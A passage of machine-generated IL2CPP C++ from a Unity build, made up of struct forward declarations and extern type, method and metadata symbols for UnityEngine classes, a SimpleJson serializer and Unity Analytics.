ContactPointU5BU5D_t1084937515; // System.Array struct Il2CppArray; // UnityEngine.Collision2D struct Collision2D_t1539500754; // UnityEngine.Collider2D struct Collider2D_t646061738; // UnityEngine.Rigidbody2D struct Rigidbody2D_t502193897; // UnityEngine.ContactPoint2D[] struct ContactPoint2DU5BU5D_t1215651809; // UnityEngine.Component[] struct ComponentU5BU5D_t4136971630; // System.Collections.Generic.List`1 struct List_1_t3188497603; // UnityEngine.ContextMenu struct ContextMenu_t2283362202; // UnityEngine.ControllerColliderHit struct ControllerColliderHit_t4070855101; // UnityEngine.Coroutine struct Coroutine_t2299508840; // UnityEngine.CullingGroup struct CullingGroup_t1091689465; // UnityEngine.CullingGroup/StateChanged struct StateChanged_t2480912210; // UnityEngine.CustomYieldInstruction struct CustomYieldInstruction_t1786092740; // UnityEngine.ILogger struct ILogger_t1425954571; // System.Exception struct Exception_t1927440687; // UnityEngine.DebugLogHandler struct DebugLogHandler_t865810509; // UnityEngine.Logger struct Logger_t3328995178; // UnityEngine.ILogHandler struct ILogHandler_t264057413; // UnityEngine.Display struct Display_t3666191348; // System.IntPtr[] struct IntPtrU5BU5D_t169632028; // UnityEngine.Display/DisplaysUpdatedDelegate struct DisplaysUpdatedDelegate_t3423469815; // UnityEngine.RectTransform struct RectTransform_t3349966182; // UnityEngine.Event struct Event_t3028476042; // System.Collections.Generic.Dictionary`2 struct Dictionary_2_t3986656710; // System.Collections.Generic.Dictionary`2 struct Dictionary_2_t1663937576; // UnityEngine.Events.ArgumentCache struct ArgumentCache_t4810721; // UnityEngine.Events.BaseInvokableCall struct BaseInvokableCall_t2229564840; // UnityEngine.Events.InvokableCall struct InvokableCall_t2183506063; // UnityEngine.Events.UnityAction struct UnityAction_t4025899511; // UnityEngine.Events.InvokableCallList struct InvokableCallList_t2295673753; // System.Collections.Generic.List`1 struct List_1_t1598685972; // System.Predicate`1 struct Predicate_1_t672534955; // System.Predicate`1 struct Predicate_1_t1132419410; // System.Collections.Generic.IEnumerable`1 struct IEnumerable_1_t2521691885; // System.Collections.Generic.IEnumerable`1 struct IEnumerable_1_t2981576340; extern Il2CppClass* List_1_t2058570427_il2cpp_TypeInfo_var; extern const MethodInfo* List_1__ctor_m310736118_MethodInfo_var; extern const uint32_t JsonArray__ctor_m33515755_MetadataUsageId; extern Il2CppClass* String_t_il2cpp_TypeInfo_var; extern const uint32_t JsonArray_ToString_m1666534930_MetadataUsageId; extern Il2CppClass* Dictionary_2_t309261261_il2cpp_TypeInfo_var; extern const MethodInfo* Dictionary_2__ctor_m3188644741_MethodInfo_var; extern const uint32_t JsonObject__ctor_m2062444459_MetadataUsageId; extern const MethodInfo* Dictionary_2_Add_m1128763565_MethodInfo_var; extern const uint32_t JsonObject_Add_m3402027904_MetadataUsageId; extern const MethodInfo* Dictionary_2_get_Keys_m660840187_MethodInfo_var; extern const uint32_t JsonObject_get_Keys_m98057106_MetadataUsageId; extern const MethodInfo* Dictionary_2_TryGetValue_m307458800_MethodInfo_var; extern const uint32_t JsonObject_TryGetValue_m3813758419_MetadataUsageId; extern const MethodInfo* Dictionary_2_get_Values_m139345435_MethodInfo_var; extern const uint32_t JsonObject_get_Values_m3342885038_MetadataUsageId; extern const MethodInfo* Dictionary_2_get_Item_m464793699_MethodInfo_var; extern const uint32_t JsonObject_get_Item_m1018841170_MetadataUsageId; extern const MethodInfo* Dictionary_2_set_Item_m4132139590_MethodInfo_var; extern const uint32_t JsonObject_set_Item_m475151339_MetadataUsageId; extern const MethodInfo* KeyValuePair_2_get_Key_m1313755691_MethodInfo_var; extern const MethodInfo* KeyValuePair_2_get_Value_m3217213384_MethodInfo_var; extern const uint32_t JsonObject_Add_m534223875_MetadataUsageId; extern const MethodInfo* Dictionary_2_Clear_m3103846974_MethodInfo_var; extern const uint32_t JsonObject_Clear_m2413527334_MetadataUsageId; extern const MethodInfo* Dictionary_2_ContainsKey_m1533770720_MethodInfo_var; extern const uint32_t JsonObject_Contains_m3389598869_MetadataUsageId; extern Il2CppClass* ArgumentNullException_t628810857_il2cpp_TypeInfo_var; extern Il2CppClass* IEnumerator_1_t4132064902_il2cpp_TypeInfo_var; extern Il2CppClass* IEnumerator_t1466026749_il2cpp_TypeInfo_var; extern Il2CppClass* IDisposable_t2427283555_il2cpp_TypeInfo_var; extern Il2CppCodeGenString* _stringLiteral1185213181; extern const uint32_t JsonObject_CopyTo_m4217013231_MetadataUsageId; extern const MethodInfo* Dictionary_2_get_Count_m1801589293_MethodInfo_var; extern const uint32_t JsonObject_get_Count_m1372513591_MetadataUsageId; extern const MethodInfo* Dictionary_2_Remove_m3100271268_MethodInfo_var; extern const uint32_t JsonObject_Remove_m968288636_MetadataUsageId; extern Il2CppClass* Enumerator_t1629285963_il2cpp_TypeInfo_var; extern const MethodInfo* Dictionary_2_GetEnumerator_m4290581089_MethodInfo_var; extern const uint32_t JsonObject_GetEnumerator_m1868414604_MetadataUsageId; extern const uint32_t JsonObject_System_Collections_IEnumerable_GetEnumerator_m763605844_MetadataUsageId; extern Il2CppClass* ThreadSafeDictionaryValueFactory_2_t3698747442_il2cpp_TypeInfo_var; extern Il2CppClass* ThreadSafeDictionary_2_t4203819763_il2cpp_TypeInfo_var; extern Il2CppClass* ThreadSafeDictionaryValueFactory_2_t880847899_il2cpp_TypeInfo_var; extern Il2CppClass* ThreadSafeDictionary_2_t1385920220_il2cpp_TypeInfo_var; extern Il2CppClass* ThreadSafeDictionaryValueFactory_2_t134667198_il2cpp_TypeInfo_var; extern Il2CppClass* ThreadSafeDictionary_2_t639739519_il2cpp_TypeInfo_var; extern const MethodInfo* ThreadSafeDictionaryValueFactory_2__ctor_m1401110360_MethodInfo_var; extern const MethodInfo* ThreadSafeDictionary_2__ctor_m854375879_MethodInfo_var; extern const MethodInfo* ThreadSafeDictionaryValueFactory_2__ctor_m1329292246_MethodInfo_var; extern const MethodInfo* ThreadSafeDictionary_2__ctor_m871953061_MethodInfo_var; extern const MethodInfo* ThreadSafeDictionaryValueFactory_2__ctor_m1894899048_MethodInfo_var; extern const MethodInfo* ThreadSafeDictionary_2__ctor_m3536678423_MethodInfo_var; extern const uint32_t PocoJsonSerializerStrategy__ctor_m679193024_MetadataUsageId; extern Il2CppClass* PocoJsonSerializerStrategy_t2810850750_il2cpp_TypeInfo_var; extern Il2CppClass* ReflectionUtils_t3032483338_il2cpp_TypeInfo_var; extern const uint32_t PocoJsonSerializerStrategy_ContructorDelegateFactory_m2249307191_MetadataUsageId; extern Il2CppClass* Dictionary_2_t2267060895_il2cpp_TypeInfo_var; extern Il2CppClass* IEnumerable_1_t2545856110_il2cpp_TypeInfo_var; extern Il2CppClass* IEnumerator_1_t4024220188_il2cpp_TypeInfo_var; extern Il2CppClass* IDictionary_2_t266144316_il2cpp_TypeInfo_var; extern Il2CppClass* IEnumerable_1_t547167195_il2cpp_TypeInfo_var; extern Il2CppClass* IEnumerator_1_t2025531273_il2cpp_TypeInfo_var; extern const MethodInfo* Dictionary_2__ctor_m1845667710_MethodInfo_var; extern const uint32_t PocoJsonSerializerStrategy_GetterValueFactory_m3591081731_MetadataUsageId; extern Il2CppClass* Dictionary_2_t1520880194_il2cpp_TypeInfo_var; extern Il2CppClass* IDictionary_2_t3814930911_il2cpp_TypeInfo_var; extern const MethodInfo* Dictionary_2__ctor_m2749652828_MethodInfo_var; extern const MethodInfo* KeyValuePair_2__ctor_m3394507420_MethodInfo_var; extern const uint32_t PocoJsonSerializerStrategy_SetterValueFactory_m4054347921_MetadataUsageId; extern Il2CppClass* CultureInfo_t3500843524_il2cpp_TypeInfo_var; extern Il2CppClass* Convert_t2607082565_il2cpp_TypeInfo_var; extern Il2CppClass* Double_t4078015681_il2cpp_TypeInfo_var; extern const uint32_t PocoJsonSerializerStrategy_SerializeEnum_m387099298_MetadataUsageId; extern Il2CppClass* DateTime_t693205669_il2cpp_TypeInfo_var; extern Il2CppClass* DateTimeOffset_t1362988906_il2cpp_TypeInfo_var; extern Il2CppClass* Guid_t_il2cpp_TypeInfo_var; extern Il2CppClass* Uri_t19570940_il2cpp_TypeInfo_var; extern Il2CppClass* Enum_t2459695545_il2cpp_TypeInfo_var; extern Il2CppCodeGenString* _stringLiteral372029402; extern const uint32_t PocoJsonSerializerStrategy_TrySerializeKnownTypes_m1354296985_MetadataUsageId; extern Il2CppClass* JsonObject_t2300545015_il2cpp_TypeInfo_var; extern Il2CppClass* IDictionary_2_t202585634_il2cpp_TypeInfo_var; extern Il2CppClass* IEnumerable_1_t316533162_il2cpp_TypeInfo_var; extern Il2CppClass* IEnumerator_1_t1794897240_il2cpp_TypeInfo_var; extern Il2CppClass* IDictionary_2_t2603311978_il2cpp_TypeInfo_var; extern const MethodInfo* KeyValuePair_2_get_Value_m360278047_MethodInfo_var; extern const MethodInfo* KeyValuePair_2_get_Key_m4275643388_MethodInfo_var; extern Il2CppCodeGenString* _stringLiteral748179678; extern const uint32_t PocoJsonSerializerStrategy_TrySerializeUnknownTypes_m4062772870_MetadataUsageId; extern const Il2CppType* Int32_t2071877448_0_0_0_var; extern Il2CppClass* TypeU5BU5D_t1664964607_il2cpp_TypeInfo_var; extern Il2CppClass* Type_t_il2cpp_TypeInfo_var; extern Il2CppClass* StringU5BU5D_t1642385972_il2cpp_TypeInfo_var; extern Il2CppCodeGenString* _stringLiteral3879389748; extern Il2CppCodeGenString* _stringLiteral3846594588; extern Il2CppCodeGenString* _stringLiteral87001591; extern const uint32_t PocoJsonSerializerStrategy__cctor_m3858986209_MetadataUsageId; extern Il2CppClass* IEnumerable_1_t3143943587_il2cpp_TypeInfo_var; extern Il2CppClass* IEnumerator_1_t327340369_il2cpp_TypeInfo_var; extern const uint32_t ReflectionUtils_GetConstructorInfo_m577110104_MetadataUsageId; extern const uint32_t ReflectionUtils_GetContructor_m2213599410_MetadataUsageId; extern Il2CppClass* U3CGetConstructorByReflectionU3Ec__AnonStorey0_t2768820979_il2cpp_TypeInfo_var; extern Il2CppClass* ConstructorDelegate_t3084043859_il2cpp_TypeInfo_var; extern const MethodInfo* U3CGetConstructorByReflectionU3Ec__AnonStorey0_U3CU3Em__0_m1146195789_MethodInfo_var; extern const uint32_t ReflectionUtils_GetConstructorByReflection_m2214455175_MetadataUsageId; extern const uint32_t ReflectionUtils_GetConstructorByReflection_m2587709881_MetadataUsageId; extern const uint32_t ReflectionUtils_GetGetMethod_m3146646939_MetadataUsageId; extern const uint32_t ReflectionUtils_GetGetMethod_m2453322602_MetadataUsageId; extern Il2CppClass* U3CGetGetMethodByReflectionU3Ec__AnonStorey1_t2504894547_il2cpp_TypeInfo_var; extern Il2CppClass* GetDelegate_t352281633_il2cpp_TypeInfo_var; extern const MethodInfo* U3CGetGetMethodByReflectionU3Ec__AnonStorey1_U3CU3Em__0_m1232029371_MethodInfo_var; extern const uint32_t ReflectionUtils_GetGetMethodByReflection_m436060527_MetadataUsageId; extern Il2CppClass* U3CGetGetMethodByReflectionU3Ec__AnonStorey2_t4070978488_il2cpp_TypeInfo_var; extern const MethodInfo* U3CGetGetMethodByReflectionU3Ec__AnonStorey2_U3CU3Em__0_m4104742316_MethodInfo_var; extern const uint32_t ReflectionUtils_GetGetMethodByReflection_m4176955894_MetadataUsageId; extern const uint32_t ReflectionUtils_GetSetMethod_m2416528667_MetadataUsageId; extern const uint32_t ReflectionUtils_GetSetMethod_m3627950826_MetadataUsageId; extern Il2CppClass* U3CGetSetMethodByReflectionU3Ec__AnonStorey3_t3443081649_il2cpp_TypeInfo_var; extern Il2CppClass* SetDelegate_t4206365109_il2cpp_TypeInfo_var; extern const MethodInfo* U3CGetSetMethodByReflectionU3Ec__AnonStorey3_U3CU3Em__0_m1051111082_MethodInfo_var; extern const uint32_t ReflectionUtils_GetSetMethodByReflection_m45132015_MetadataUsageId; extern Il2CppClass* U3CGetSetMethodByReflectionU3Ec__AnonStorey4_t1070428654_il2cpp_TypeInfo_var; extern const MethodInfo* U3CGetSetMethodByReflectionU3Ec__AnonStorey4_U3CU3Em__0_m3536713517_MethodInfo_var; extern const uint32_t ReflectionUtils_GetSetMethodByReflection_m2697613686_MetadataUsageId; extern Il2CppClass* ObjectU5BU5D_t3614634134_il2cpp_TypeInfo_var; extern const uint32_t ReflectionUtils__cctor_m3529209954_MetadataUsageId; extern const uint32_t U3CGetGetMethodByReflectionU3Ec__AnonStorey1_U3CU3Em__0_m1232029371_MetadataUsageId; extern const uint32_t U3CGetSetMethodByReflectionU3Ec__AnonStorey3_U3CU3Em__0_m1051111082_MetadataUsageId; extern Il2CppClass* StringBuilder_t1221177846_il2cpp_TypeInfo_var; extern const uint32_t SimpleJson_SerializeObject_m3389162840_MetadataUsageId; extern const uint32_t SimpleJson_ParseObject_m2464058880_MetadataUsageId; extern Il2CppClass* JsonArray_t1679500587_il2cpp_TypeInfo_var; extern const MethodInfo* List_1_Add_m4157722533_MethodInfo_var; extern const uint32_t SimpleJson_ParseArray_m3513734753_MetadataUsageId; extern Il2CppClass* Boolean_t3825574718_il2cpp_TypeInfo_var; extern const uint32_t SimpleJson_ParseValue_m1002395532_MetadataUsageId; extern Il2CppCodeGenString* _stringLiteral371857150; extern Il2CppCodeGenString* _stringLiteral2303484169; extern const uint32_t SimpleJson_ParseString_m1134805156_MetadataUsageId; extern Il2CppClass* ArgumentOutOfRangeException_t279959794_il2cpp_TypeInfo_var; extern Il2CppClass* CharU5BU5D_t1328083999_il2cpp_TypeInfo_var; extern Il2CppCodeGenString* _stringLiteral2737755086; extern Il2CppCodeGenString* _stringLiteral436072782; extern Il2CppCodeGenString* _stringLiteral107918005; extern const uint32_t SimpleJson_ConvertFromUtf32_m799444971_MetadataUsageId; extern Il2CppClass* Int64_t909078037_il2cpp_TypeInfo_var; extern Il2CppCodeGenString* _stringLiteral372029316; extern Il2CppCodeGenString* _stringLiteral372029369; extern const uint32_t SimpleJson_ParseNumber_m2704962974_MetadataUsageId; extern Il2CppCodeGenString* _stringLiteral4282166785; extern const uint32_t SimpleJson_GetLastIndexOfNumber_m3446027218_MetadataUsageId; extern Il2CppCodeGenString* _stringLiteral96257128; extern const uint32_t SimpleJson_EatWhitespace_m481181633_MetadataUsageId; extern Il2CppClass* IDictionary_2_t1943082916_il2cpp_TypeInfo_var; extern Il2CppClass* IEnumerable_t2911409499_il2cpp_TypeInfo_var; extern Il2CppClass* IJsonSerializerStrategy_t209712766_il2cpp_TypeInfo_var; extern Il2CppCodeGenString* _stringLiteral3323263070; extern Il2CppCodeGenString* _stringLiteral2609877245; extern Il2CppCodeGenString* _stringLiteral1743624307; extern const uint32_t SimpleJson_SerializeValue_m2700795577_MetadataUsageId; extern Il2CppCodeGenString* _stringLiteral372029399; extern Il2CppCodeGenString* _stringLiteral372029314; extern Il2CppCodeGenString* _stringLiteral372029336; extern Il2CppCodeGenString* _stringLiteral372029393; extern const uint32_t SimpleJson_SerializeObject_m3504199269_MetadataUsageId; extern Il2CppCodeGenString* _stringLiteral372029431; extern Il2CppCodeGenString* _stringLiteral372029425; extern const uint32_t SimpleJson_SerializeArray_m779157756_MetadataUsageId; extern Il2CppCodeGenString* _stringLiteral372029312; extern Il2CppCodeGenString* _stringLiteral3943473468; extern Il2CppCodeGenString* _stringLiteral2088416310; extern Il2CppCodeGenString* _stringLiteral1093630588; extern Il2CppCodeGenString* _stringLiteral3419229416; extern Il2CppCodeGenString* _stringLiteral3062999056; extern Il2CppCodeGenString* _stringLiteral381169868; extern Il2CppCodeGenString* _stringLiteral3869568110; extern const uint32_t SimpleJson_SerializeString_m1750369917_MetadataUsageId; extern Il2CppClass* UInt64_t2909196914_il2cpp_TypeInfo_var; extern Il2CppClass* Int32_t2071877448_il2cpp_TypeInfo_var; extern Il2CppClass* UInt32_t2149682021_il2cpp_TypeInfo_var; extern Il2CppClass* Decimal_t724701077_il2cpp_TypeInfo_var; extern Il2CppClass* Single_t2076509932_il2cpp_TypeInfo_var; extern Il2CppCodeGenString* _stringLiteral372029392; extern const uint32_t SimpleJson_SerializeNumber_m1195210771_MetadataUsageId; extern Il2CppClass* SByte_t454417549_il2cpp_TypeInfo_var; extern Il2CppClass* Byte_t3683104436_il2cpp_TypeInfo_var; extern Il2CppClass* Int16_t4041245914_il2cpp_TypeInfo_var; extern Il2CppClass* UInt16_t986882611_il2cpp_TypeInfo_var; extern const uint32_t SimpleJson_IsNumeric_m810085359_MetadataUsageId; extern Il2CppClass* SimpleJson_t3569903358_il2cpp_TypeInfo_var; extern const uint32_t SimpleJson_get_CurrentJsonSerializerStrategy_m3073481146_MetadataUsageId; extern const uint32_t SimpleJson_get_PocoJsonSerializerStrategy_m3655250970_MetadataUsageId; extern Il2CppClass* Analytics_t2007048212_il2cpp_TypeInfo_var; extern Il2CppClass* UnityAnalyticsHandler_t3238795095_il2cpp_TypeInfo_var; extern const uint32_t Analytics_GetUnityAnalyticsHandler_m832551809_MetadataUsageId; extern Il2CppClass* ArgumentException_t3259014390_il2cpp_TypeInfo_var; extern Il2CppClass* CustomEventData_t1269126727_il2cpp_TypeInfo_var; extern Il2CppCodeGenString* _stringLiteral2146552269; extern const uint32_t Analytics_CustomEvent_m2343610239_MetadataUsageId; extern const uint32_t CustomEventData_Add_m881214524_MetadataUsageId; extern const uint32_t CustomEventData_Add_m849445705_MetadataUsageId; extern const Il2CppType* String_t_0_0_0_var; extern const Il2CppType* Char_t3454481338_0_0_0_var; extern const Il2CppType* SByte_t454417549_0_0_0_var; extern const Il2CppType* Byte_t3683104436_0_0_0_var; extern const Il2CppType* Int16_t4041245914_0_0_0_var; extern const Il2CppType* UInt16_t986882611_0_0_0_var; extern const Il2CppType* UInt32_t2149682021_0_0_0_var; extern const Il2CppType* Int64_t909078037_0_0_0_var; extern const Il2CppType* UInt64_t2909196914_0_0_0_var; extern const Il2CppType* Boolean_t3825574718_0_0_0_var; extern const Il2CppType* Single_t2076509932_0_0_0_var; extern const Il2CppType* Double_t4078015681_0_0_0_var; extern const Il2CppType* Decimal_t724701077_0_0_0_var; extern Il2CppClass* IEnumerable_1_t2653700824_il2cpp_TypeInfo_var; extern Il2CppClass* Char_t3454481338_il2cpp_TypeInfo_var; extern Il2CppCodeGenString* _stringLiteral2174244105; extern const uint32_t CustomEventData_Add_m952171437_MetadataUsageId; struct Object_t1021602117_marshaled_pinvoke; struct Object_t1021602117;; struct Object_t1021602117_marshaled_pinvoke;; struct Object_t1021602117_marshaled_com; struct Object_t1021602117_marshaled_com;; extern const uint32_t AnimationEvent__ctor_m3458990599_MetadataUsageId; extern Il2CppClass* Debug_t1368543263_il2cpp_TypeInfo_var; extern Il2CppCodeGenString* _stringLiteral2898685537; extern const uint32_t AnimationEvent_get_animationState_m1069191380_MetadataUsageId; extern Il2CppCodeGenString* _stringLiteral619768799; extern const uint32_t AnimationEvent_get_animatorStateInfo_m4255437518_MetadataUsageId; extern Il2CppCodeGenString* _stringLiteral1382485084; extern const uint32_t AnimationEvent_get_animatorClipInfo_m615328956_MetadataUsageId; extern Il2CppClass* AnimatorControllerParameter_t1381019216_il2cpp_TypeInfo_var; extern const uint32_t AnimatorControllerParameter_Equals_m2765773032_MetadataUsageId; extern Il2CppClass* Application_t354826772_il2cpp_TypeInfo_var; extern const uint32_t Application_CallLowMemory_m626389230_MetadataUsageId; extern const uint32_t Application_CallLogCallback_m3408386792_MetadataUsageId; extern Il2CppClass* LogType_t1559732862_il2cpp_TypeInfo_var; extern const uint32_t LogCallback_BeginInvoke_m2485641857_MetadataUsageId; extern const Il2CppType* MonoBehaviour_t1158329972_0_0_0_var; extern const Il2CppType* DisallowMultipleComponent_t2656950_0_0_0_var; extern Il2CppClass* Stack_1_t2391531380_il2cpp_TypeInfo_var; extern const MethodInfo* Stack_1__ctor_m1240888107_MethodInfo_var; extern const MethodInfo* Stack_1_Push_m1219431354_MethodInfo_var; extern const MethodInfo* Stack_1_Pop_m685736912_MethodInfo_var; extern const MethodInfo* Stack_1_get_Count_m1292854535_MethodInfo_var; extern const uint32_t AttributeHelperEngine_GetParentTypeDisallowingMultipleInclusion_m685343645_MetadataUsageId; extern const Il2CppType* RequireComponent_t864575032_0_0_0_var; extern Il2CppClass* RequireComponentU5BU5D_t2214070761_il2cpp_TypeInfo_var; extern Il2CppClass* List_1_t672924358_il2cpp_TypeInfo_var; extern const MethodInfo* List_1__ctor_m4047179467_MethodInfo_var; extern const MethodInfo* List_1_Add_m176071399_MethodInfo_var; extern const MethodInfo* List_1_ToArray_m1070939693_MethodInfo_var; extern const uint32_t AttributeHelperEngine_GetRequiredComponents_m120894667_MetadataUsageId; extern const Il2CppType* ExecuteInEditMode_t3043633143_0_0_0_var; extern const uint32_t AttributeHelperEngine_CheckIsEditorScript_m2980171478_MetadataUsageId; extern Il2CppClass* AttributeHelperEngine_t958797062_il2cpp_TypeInfo_var; extern const MethodInfo* AttributeHelperEngine_GetCustomAttributeOfType_TisDefaultExecutionOrder_t2717914595_m3755678983_MethodInfo_var; extern const uint32_t AttributeHelperEngine_GetDefaultExecutionOrderFor_m451063166_MetadataUsageId; extern Il2CppClass* DisallowMultipleComponentU5BU5D_t674354611_il2cpp_TypeInfo_var; extern Il2CppClass* ExecuteInEditModeU5BU5D_t1783660110_il2cpp_TypeInfo_var; extern const uint32_t AttributeHelperEngine__cctor_m1775592582_MetadataUsageId; extern const uint32_t PCMSetPositionCallback_BeginInvoke_m2507142524_MetadataUsageId; extern Il2CppClass* AudioSettings_t3144015719_il2cpp_TypeInfo_var; extern const uint32_t AudioSettings_InvokeOnAudioConfigurationChanged_m3225073778_MetadataUsageId; extern const uint32_t AudioConfigurationChangeHandler_BeginInvoke_m2418670597_MetadataUsageId; extern Il2CppClass* Bounds_t3033363703_il2cpp_TypeInfo_var; extern Il2CppClass* Vector3_t2243707580_il2cpp_TypeInfo_var; extern const uint32_t Bounds_Equals_m839506137_MetadataUsageId; extern Il2CppCodeGenString* _stringLiteral3664271751; extern const uint32_t Bounds_ToString_m1966597703_MetadataUsageId; extern Il2CppClass* Camera_t189460977_il2cpp_TypeInfo_var; extern const uint32_t Camera_FireOnPreCull_m1679634170_MetadataUsageId; extern const uint32_t Camera_FireOnPreRender_m24116662_MetadataUsageId; extern const uint32_t Camera_FireOnPostRender_m94860165_MetadataUsageId; extern Il2CppClass* Canvas_t209405766_il2cpp_TypeInfo_var; extern Il2CppClass* WillRenderCanvases_t3522132132_il2cpp_TypeInfo_var; extern const uint32_t Canvas_add_willRenderCanvases_m3467125643_MetadataUsageId; extern const uint32_t Canvas_remove_willRenderCanvases_m1070419298_MetadataUsageId; extern const uint32_t Canvas_SendWillRenderCanvases_m3796535067_MetadataUsageId; extern Il2CppClass* Object_t1021602117_il2cpp_TypeInfo_var; extern const uint32_t Collision_get_transform_m4132935520_MetadataUsageId; extern const uint32_t Collision_get_gameObject_m1370363400_MetadataUsageId; extern const uint32_t Collision_get_other_m4238363497_MetadataUsageId; extern Il2CppClass* Physics2D_t2540166467_il2cpp_TypeInfo_var; extern const uint32_t Collision2D_get_collider_m3330356936_MetadataUsageId; extern const uint32_t Collision2D_get_otherCollider_m4079883492_MetadataUsageId; extern const uint32_t Collision2D_get_rigidbody_m4058558226_MetadataUsageId; extern const uint32_t Collision2D_get_otherRigidbody_m1518790444_MetadataUsageId; extern const uint32_t Collision2D_get_transform_m314016758_MetadataUsageId; extern const uint32_t Collision2D_get_gameObject_m4234358314_MetadataUsageId; extern Il2CppCodeGenString* _stringLiteral2715435867; extern const uint32_t Color_ToString_m4028093047_MetadataUsageId; extern Il2CppClass* Color_t2020392075_il2cpp_TypeInfo_var; extern const uint32_t Color_Equals_m661618137_MetadataUsageId; extern Il2CppClass* Mathf_t2336485820_il2cpp_TypeInfo_var; extern const uint32_t Color_Lerp_m3323752807_MetadataUsageId; extern const uint32_t Color32_op_Implicit_m624191464_MetadataUsageId; extern Il2CppCodeGenString* _stringLiteral1199940147; extern const uint32_t Color32_ToString_m1408142756_MetadataUsageId; extern const uint32_t Component__ctor_m205306948_MetadataUsageId; extern Il2CppClass* ContactFilter2D_t1672660996_il2cpp_TypeInfo_var; extern const uint32_t ContactFilter2D_CreateLegacyFilter_m1912787689_MetadataUsageId; extern Il2CppClass* StateChanged_t2480912210_il2cpp_TypeInfo_var; extern const uint32_t CullingGroup_t1091689465_pinvoke_FromNativeMethodDefinition_MetadataUsageId; extern const uint32_t CullingGroup_t1091689465_com_FromNativeMethodDefinition_MetadataUsageId; extern Il2CppClass* IntPtr_t_il2cpp_TypeInfo_var; extern const uint32_t CullingGroup_Finalize_m3172731580_MetadataUsageId; extern Il2CppClass* CullingGroupEvent_t1057617917_il2cpp_TypeInfo_var; extern const uint32_t CullingGroup_SendEvents_m1292564468_MetadataUsageId; extern const uint32_t StateChanged_BeginInvoke_m1716538087_MetadataUsageId; extern const uint32_t Debug_get_logger_m4173808038_MetadataUsageId; extern Il2CppClass* ILogger_t1425954571_il2cpp_TypeInfo_var; extern const uint32_t Debug_Log_m920475918_MetadataUsageId; extern const uint32_t Debug_LogFormat_m3816524933_MetadataUsageId; extern const uint32_t Debug_LogError_m3715728798_MetadataUsageId; extern const uint32_t Debug_LogError_m865553560_MetadataUsageId; extern const uint32_t Debug_LogErrorFormat_m583065465_MetadataUsageId; extern Il2CppClass* ILogHandler_t264057413_il2cpp_TypeInfo_var; extern const uint32_t Debug_LogErrorFormat_m60495267_MetadataUsageId; extern const uint32_t Debug_LogException_m1861430175_MetadataUsageId; extern const uint32_t Debug_LogException_m3078170301_MetadataUsageId; extern const uint32_t Debug_LogWarning_m2503577968_MetadataUsageId; extern const uint32_t Debug_LogWarning_m1280021602_MetadataUsageId; extern const uint32_t Debug_LogWarningFormat_m2130157695_MetadataUsageId; extern const uint32_t Debug_LogWarningFormat_m79553173_MetadataUsageId; extern Il2CppClass* DebugLogHandler_t865810509_il2cpp_TypeInfo_var; extern Il2CppClass* Logger_t3328995178_il2cpp_TypeInfo_var; extern const uint32_t Debug__cctor_m2981642087_MetadataUsageId; extern const uint32_t DebugLogHandler_LogFormat_m177245518_MetadataUsageId; extern Il2CppClass* Display_t3666191348_il2cpp_TypeInfo_var; extern const uint32_t Display_get_renderingWidth_m2127568366_MetadataUsageId; extern const uint32_t Display_get_renderingHeight_m3408216949_MetadataUsageId; extern const uint32_t Display_get_systemWidth_m957394103_MetadataUsageId; extern const uint32_t Display_get_systemHeight_m3377672024_MetadataUsageId; extern const uint32_t Display_RelativeMouseAt_m3983394520_MetadataUsageId; extern Il2CppClass* DisplayU5BU5D_t1314630077_il2cpp_TypeInfo_var; extern const uint32_t Display_RecreateDisplayList_m3412638488_MetadataUsageId; extern const uint32_t Display_FireDisplaysUpdated_m3557250167_MetadataUsageId; extern const uint32_t Display__cctor_m7440126_MetadataUsageId; extern Il2CppClass* Event_t3028476042_il2cpp_TypeInfo_var; extern const uint32_t Event_get_current_m2901774193_MetadataUsageId; extern const uint32_t Event_Internal_MakeMasterEventCurrent_m1829330051_MetadataUsageId; extern const Il2CppType* KeyCode_t2283395152_0_0_0_var; extern Il2CppClass* Dictionary_2_t3986656710_il2cpp_TypeInfo_var; extern Il2CppClass* KeyCode_t2283395152_il2cpp_TypeInfo_var; extern const MethodInfo* Dictionary_2__ctor_m2118310873_MethodInfo_var; extern const MethodInfo* Dictionary_2_Add_m1209957957_MethodInfo_var; extern const MethodInfo* Dictionary_2_TryGetValue_m2977303364_MethodInfo_var; extern Il2CppCodeGenString* _stringLiteral104530092; extern Il2CppCodeGenString* _stringLiteral2833413447; extern Il2CppCodeGenString* _stringLiteral3236697974; extern Il2CppCodeGenString* _stringLiteral1670614033; extern Il2CppCodeGenString* _stringLiteral2430128920; extern Il2CppCodeGenString* _stringLiteral864044979; extern Il2CppCodeGenString* _stringLiteral1267329506; extern Il2CppCodeGenString* _stringLiteral3996212861; extern Il2CppCodeGenString* _stringLiteral4043267028; extern Il2CppCodeGenString* _stringLiteral2477183087; extern Il2CppCodeGenString* _stringLiteral1623559866; extern Il2CppCodeGenString* _stringLiteral57475925; extern Il2CppCodeGenString* _stringLiteral1220275339; extern Il2CppCodeGenString* _stringLiteral2026844393; extern Il2CppCodeGenString* _stringLiteral507814619; extern Il2CppCodeGenString* _stringLiteral1178848913; extern Il2CppCodeGenString* _stringLiteral1335981990; extern Il2CppCodeGenString* _stringLiteral1543969241; extern Il2CppCodeGenString* _stringLiteral1367190538; extern Il2CppCodeGenString* _stringLiteral3423761043; extern Il2CppCodeGenString* _stringLiteral109637592; extern Il2CppCodeGenString* _stringLiteral695394959; extern Il2CppCodeGenString* _stringLiteral1414245067; extern Il2CppCodeGenString* _stringLiteral3068682171; extern Il2CppCodeGenString* _stringLiteral331999482; extern Il2CppCodeGenString* _stringLiteral2532232006; extern Il2CppCodeGenString* _stringLiteral3199469141; extern Il2CppCodeGenString* _stringLiteral151017037; extern Il2CppCodeGenString* _stringLiteral4226874623; extern Il2CppCodeGenString* _stringLiteral1381955065; extern Il2CppCodeGenString* _stringLiteral696029671; extern Il2CppCodeGenString* _stringLiteral2827728167; extern Il2CppCodeGenString* _stringLiteral3231012694; extern Il2CppCodeGenString* _stringLiteral1664928753; extern Il2CppCodeGenString* _stringLiteral2424443640; extern Il2CppCodeGenString* _stringLiteral858359699; extern Il2CppCodeGenString* _stringLiteral1261644226; extern Il2CppCodeGenString* _stringLiteral3990527581; extern Il2CppCodeGenString* _stringLiteral4037581748; extern Il2CppCodeGenString* _stringLiteral2471497807; extern Il2CppCodeGenString* _stringLiteral2833411447; extern Il2CppCodeGenString* _stringLiteral2833411446; extern Il2CppCodeGenString* _stringLiteral2833411445; extern Il2CppCodeGenString* _stringLiteral2833411444; extern Il2CppCodeGenString* _stringLiteral2833411451; extern Il2CppCodeGenString* _stringLiteral2833411450; extern 